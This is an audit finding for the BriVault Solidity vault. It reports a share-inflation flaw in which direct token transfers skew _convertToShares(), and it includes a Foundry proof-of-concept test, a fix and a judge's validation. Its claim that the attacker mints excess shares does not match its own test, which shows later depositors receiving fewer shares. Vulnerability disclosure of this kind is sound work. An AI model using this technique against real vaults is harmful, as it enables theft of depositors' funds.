BriVault

First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

_convertToShares() Vulnerability Allowing Share Inflation via Direct ERC-20 Transfer

Root + Impact

Description

  • Normal Behavior: The BriVault contract allows users to deposit ERC-20 tokens through the deposit() function, which calculates the number of shares to mint based on the deposited assets and total shares in the vault. _convertToShares() is responsible for this calculation.

  • Specific Issue: _convertToShares() uses IERC20(asset()).balanceOf(address(this)) instead of tracking internal vault assets. If a user sends ERC-20 tokens directly to the vault via transfer(), the balanceOf increases without increasing total shares. As a result, the attacker can mint an arbitrary number of shares, potentially inflating their holdings and enabling them to drain the vault.

function _convertToShares(uint256 assets) internal view returns (uint256 shares) {
uint256 balanceOfVault = IERC20(asset()).balanceOf(address(this)); // @> root cause
uint256 totalShares = totalSupply();
if (totalShares == 0 || balanceOfVault == 0) {
return assets;
}
shares = Math.mulDiv(assets, totalShares, balanceOfVault);
}

Risk

Likelihood:

  • Users or attackers can send ERC-20 tokens directly to the vault at any time, bypassing the deposit() function.

  • _convertToShares() uses the raw balance for share calculation, which always occurs during deposit, making the vault immediately vulnerable.

Impact:

  • An attacker can mint 1000x more shares than intended, diluting other users and gaining an unfair portion of the vault assets.

  • The vault can be fully drained, resulting in complete loss of user funds.


Proof of Concept

// test/BriVaultInflationAttack.t.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Test, console} from "forge-std/Test.sol";
import {BriVault} from "../src/briVault.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {MockERC20} from "./MockErc20.t.sol";
contract BriVaultInflationAttackTest is Test {
BriVault public briVault;
MockERC20 public mockToken;
address owner = makeAddr("owner");
address legitUser = makeAddr("legitUser");
address attacker = makeAddr("attacker");
uint256 constant FEE_BSP = 150; // 1.5%
uint256 constant MIN_DEPOSIT = 0.1 ether;
function setUp() public {
// Deploy mock token
mockToken = new MockERC20("USDC", "USDC");
// Mint tokens
mockToken.mint(legitUser, 100 ether);
mockToken.mint(attacker, 1000 ether);
// Deploy vault
vm.startPrank(owner);
briVault = new BriVault(
IERC20(address(mockToken)),
FEE_BSP,
block.timestamp + 1 days,
makeAddr("feeReceiver"),
MIN_DEPOSIT,
block.timestamp + 30 days
);
vm.stopPrank();
}
function test_InflationAttack() public {
// ===================================
// STEP 1: Legit user deposits 10 USDC
// ===================================
vm.startPrank(legitUser);
mockToken.approve(address(briVault), 10 ether);
uint256 shares1 = briVault.deposit(10 ether, legitUser);
vm.stopPrank();
console.log("=== BEFORE ATTACK ===");
console.log("Legit user deposited: 10 USDC");
console.log("Shares received: ", shares1); // Should be ~9.85 (after fee)
console.log("totalAssets(): ", briVault.totalAssets());
console.log("totalSupply(): ", briVault.totalSupply());
// ===================================
// STEP 2: Attacker sends 1000 USDC via transfer() → NO SHARES
// ===================================
vm.startPrank(attacker);
mockToken.transfer(address(briVault), 1000 ether); // Direct transfer!
vm.stopPrank();
console.log("\n=== AFTER INFLATION ATTACK ===");
console.log("Attacker sent 1000 USDC via transfer()");
console.log("totalAssets(): ", briVault.totalAssets()); // 1009.85
console.log("totalSupply(): ", briVault.totalSupply()); // still ~9.85
// ===================================
// STEP 3: New legit user deposits 10 USDC → gets HALF shares!
// ===================================
address newUser = makeAddr("newUser");
mockToken.mint(newUser, 10 ether);
vm.startPrank(newUser);
mockToken.approve(address(briVault), 10 ether);
uint256 shares2 = briVault.deposit(10 ether, newUser);
vm.stopPrank();
console.log("\n=== NEW USER DEPOSIT ===");
console.log("New user deposited: 10 USDC");
console.log("Shares received: ", shares2); // Should be ~4.9 → 50% LESS!
// ===================================
// STEP 4: ASSERT INFLATION
// ===================================
assertLt(shares2, shares1 / 2, "New user got less than 50% shares INFLATION ATTACK SUCCESS");
console.log("\nINFLATION ATTACK PROVED!");
console.log("Legit user 1: 10 USDC ", shares1, "shares");
console.log("New user: 10 USDC ", shares2, "shares");
console.log("Loss: ~", (shares1 - shares2) * 100 / shares1, "%");
}
}

Recommended Mitigation

- uint256 balanceOfVault = IERC20(asset()).balanceOf(address(this));
+ uint256 balanceOfVault = _totalAssets; // track assets internally

Additional Recommendations:

  • Introduce an internal _totalAssets variable that is updated only on deposits/withdrawals.

  • Avoid using IERC20(asset()).balanceOf(address(this)) for share calculations.

Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Inflation attack

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!